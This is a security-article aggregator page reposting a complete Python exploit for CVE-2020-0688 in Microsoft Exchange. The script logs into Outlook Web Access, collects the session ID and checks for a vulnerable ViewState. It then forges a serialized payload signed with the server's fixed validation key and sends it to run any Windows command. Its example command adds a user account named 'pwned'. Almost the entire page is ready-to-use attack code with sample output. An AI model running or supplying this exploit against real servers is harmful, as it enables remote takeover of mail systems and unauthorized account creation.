HackDig : Dig high-quality web security articles for hackers

Microsoft Exchange 2019 15.2.221.12 Authenticated Remote Code Execution

2020-03-14 17:24
# Exploit Title: Microsoft Exchange 2019 15.2.221.12 - Authenticated Remote Code Execution# Date: 2020-02-28# Exploit Author: Photubias# Vendor Advisory: [1] https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688#                  [2] https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys# Vendor Homepage: https://www.microsoft.com# Version: MS Exchange Server 2010 SP3 up to 2019 CU4# Tested on: MS Exchange 2019 v15.2.221.12 running on Windows Server 2019# CVE: CVE-2020-0688#! /usr/bin/env python# -*- coding: utf-8 -*- '''     Copyright 2020 Photubias(c)        This program is free software: you can redistribute it and/or modify        it under the terms of the GNU General Public License as published by        the Free Software Foundation, either version 3 of the License, or        (at your option) any later version.        This program is distributed in the hope that it will be useful,        but WITHOUT ANY WARRANTY; without even the implied warranty of        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the        GNU General Public License for more details.        You should have received a copy of the GNU General Public License        along with this program.  If not, see <http://www.gnu.org/licenses/>.                File name CVE-2020-0688-Photubias.py        written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be        This is a native implementation without requirements, written in Python 2.        Works equally well on Windows as Linux (as MacOS, probably ;-)        Reverse Engineered Serialization code from https://github.com/pwntester/ysoserial.net        Example Output:        CVE-2020-0688-Photubias.py -t https://10.11.12.13 -u sean -c "net user pwned pwned /add"        [+] Login worked        [+] Got ASP.NET Session ID: 83af2893-6e1c-4cee-88f8-b706ebc77570        [+] Detected OWA version number 15.2.221.12        [+] Vulnerable View State "B97B4E27" detected, this host is vulnerable!        [+] All looks OK, ready to send exploit (net user pwned pwned /add)? [Y/n]:        [+] Got Payload: /wEy0QYAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADzBDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI+DQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IkxhdW5jaENhbGMiIE9iamVjdFR5cGUgPSAieyB4OlR5cGUgRGlhZzpQcm9jZXNzfSIgTWV0aG9kTmFtZSA9ICJTdGFydCIgPg0KICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgIDxTeXN0ZW06U3RyaW5nPmNtZDwvU3lzdGVtOlN0cmluZz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc+L2MgIm5ldCB1c2VyIHB3bmVkIHB3bmVkIC9hZGQiIDwvU3lzdGVtOlN0cmluZz4NCiAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCjwvUmVzb3VyY2VEaWN0aW9uYXJ5PgvjXlpQBwdP741icUH6Wivr7TlI6g==              Sending now ...'''import urllib2, urllib, base64, binascii, hashlib, hmac, struct, argparse, sys, cookielib, ssl, getpass## STATIC STRINGS# This string acts as a template for the serialization (contains "###payload###" to be replaced and TWO size locations)strSerTemplate = base64.b64decode('/wEy2gYAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAD8BDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI+DQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IkxhdW5jaENhbGMiIE9iamVjdFR5cGUgPSAieyB4OlR5cGUgRGlhZzpQcm9jZXNzfSIgTWV0aG9kTmFtZSA9ICJTdGFydCIgPg0KICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgIDxTeXN0ZW06U3RyaW5nPmNtZDwvU3lzdGVtOlN0cmluZz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc+L2MgIiMjI3BheWxvYWQjIyMiIDwvU3lzdGVtOlN0cmluZz4NCiAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCjwvUmVzb3VyY2VEaWN0aW9uYXJ5Pgs=')# This is a key installed in the Exchange Server, it is changeable, but often not (part of the vulnerability)strSerKey = binascii.unhexlify('CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF')def convertInt(iInput, length):     return struct.pack("<I" , int(iInput)).encode('hex')[:length]def getYsoserialPayload(sCommand, sSessionId):    ## PART1 of the payload to hash    strPart1 = strSerTemplate.replace('###payload###', sCommand)    ## Fix the length fields    #print(binascii.hexlify(strPart1[3]+strPart1[4])) ## 'da06' > '06da' (0x06b8 + len(sCommand))    #print(binascii.hexlify(strPart1[224]+strPart1[225])) ## 'fc04' > '04fc' (0x04da + len(sCommand))    strLength1 = convertInt(0x06b8 + len(sCommand),4)    strLength2 = convertInt(0x04da + len(sCommand),4)    strPart1 = strPart1[:3] + binascii.unhexlify(strLength1) + strPart1[5:]    strPart1 = strPart1[:224] + binascii.unhexlify(strLength2) + strPart1[226:]        ## PART2 of the payload to hash    strPart2 = '274e7bb9'    for v in sSessionId: strPart2 += binascii.hexlify(v)+'00'    strPart2 = binascii.unhexlify(strPart2)        strMac = hmac.new(strSerKey, strPart1 + strPart2, hashlib.sha1).hexdigest()    strResult = base64.b64encode(strPart1 + binascii.unhexlify(strMac))    return strResultdef verifyLogin(sTarget, sUsername, sPassword, oOpener, oCookjar):    if not sTarget[-1:] == '/': sTarget += '/'    ## Verify Login    lPostData = {'destination' : sTarget, 'flags' : '4', 'forcedownlevel' : '0', 'username' : sUsername, 'password' : sPassword, 'passwordText' : '', 'isUtf8' : '1'}    try: sResult = oOpener.open(urllib2.Request(sTarget + 'owa/auth.owa', data=urllib.urlencode(lPostData), headers={'User-Agent':'Python'})).read()    except: print('[!] Error, ' + sTarget + ' not reachable')    bLoggedIn = False    for cookie in oCookjar:        if cookie.name == 'cadata': bLoggedIn = True    if not bLoggedIn:        print('[-] Login Wrong, too bad')        exit(1)    print('[+] Login worked')    ## Verify Session ID    sSessionId = ''    sResult = oOpener.open(urllib2.Request(sTarget+'ecp/default.aspx', headers={'User-Agent':'Python'})).read()    for cookie in oCookjar:        if 'SessionId' in cookie.name: sSessionId = cookie.value    print('[+] Got ASP.NET Session ID: ' + sSessionId)    ## Verify OWA Version    sVersion = ''    try: sVersion = sResult.split('stylesheet')[0].split('href="')[1].split('/')[2]    except: sVersion = 'favicon'    if 'favicon' in sVersion:        print('[*] Problem, this user has never logged in before (wizard detected)')        print('       Please log in manually first at ' + sTarget + 'ecp/default.aspx')        exit(1)    print('[+] Detected OWA version number '+sVersion)    ## Verify ViewStateValue    sViewState = ''    try: sViewState = sResult.split('__VIEWSTATEGENERATOR')[2].split('value="')[1].split('"')[0]    except: pass    if sViewState == 'B97B4E27':        print('[+] Vulnerable View State "B97B4E27" detected, this host is vulnerable!')    else:        print('[-] Error, viewstate wrong or not correctly parsed: '+sViewState)        ans = raw_input('[?] Still want to try the exploit? [y/N]: ')        if ans == '' or ans.lower() == 'n': exit(1)    return sSessionId, sTarget, sViewState    def main():    parser = argparse.ArgumentParser()    parser.add_argument('-t', '--target', help='Target IP or hostname (e.g. https://owa.contoso.com)', default='')    parser.add_argument('-u', '--username', help='Username (e.g. joe or joe@contoso.com)', default='')    parser.add_argument('-p', '--password', help='Password (leave empty to ask for it)', default='')    parser.add_argument('-c', '--command', help='Command to put behind "cmd /c " (e.g. net user pwned pwned /add)', default='')    args = parser.parse_args()    if args.target == '' or args.username == '' or args.command == '':        print('[!] Example usage: ')        print(' ' + sys.argv[0] + ' -t https://owa.contoso.com -u joe -c "net user pwned pwned /add"')    else:        if args.password == '': sPassword = getpass.getpass('[*] Please enter the password: ')        else: sPassword = args.password        ctx = ssl.create_default_context()        ctx.check_hostname = False        ctx.verify_mode = ssl.CERT_NONE        oCookjar = cookielib.CookieJar()        #oProxy = urllib2.ProxyHandler({'http': '127.0.0.1:8080', 'https': '127.0.0.1:8080'})        #oOpener = urllib2.build_opener(urllib2.HTTPSHandler(context=ctx),urllib2.HTTPCookieProcessor(oCookjar),oProxy)        oOpener = urllib2.build_opener(urllib2.HTTPSHandler(context=ctx),urllib2.HTTPCookieProcessor(oCookjar))        sSessionId, sTarget, sViewState = verifyLogin(args.target, args.username, sPassword, oOpener, oCookjar)        ans = raw_input('[+] All looks OK, ready to send exploit (' + args.command + ')? [Y/n]: ')        if ans.lower() == 'n': exit(0)        sPayLoad = getYsoserialPayload(args.command, sSessionId)        print('[+] Got Payload: ' + sPayLoad)        sURL = sTarget + 'ecp/default.aspx?__VIEWSTATEGENERATOR=' + sViewState + '&__VIEWSTATE=' + urllib.quote_plus(sPayLoad)        print('      Sending now ...')        try: oOpener.open(urllib2.Request(sURL, headers={'User-Agent':'Python'}))        except urllib2.HTTPError, e:            if e.code == '500': print('[+] This probably worked (Error Code 500 received)')if __name__ == "__main__":main()


Source: 8600300202-BLW/eussi/moc.ytirucesxc

Read:703 | Comments:0 | Tags:No Tag

“Microsoft Exchange 2019 15.2.221.12 Authenticated Remote Code Execution”0 Comments

Submit A Comment

Name:

Email:

Blog :

Verification Code:

Announce

Share high-quality web security related articles with you:)

Tools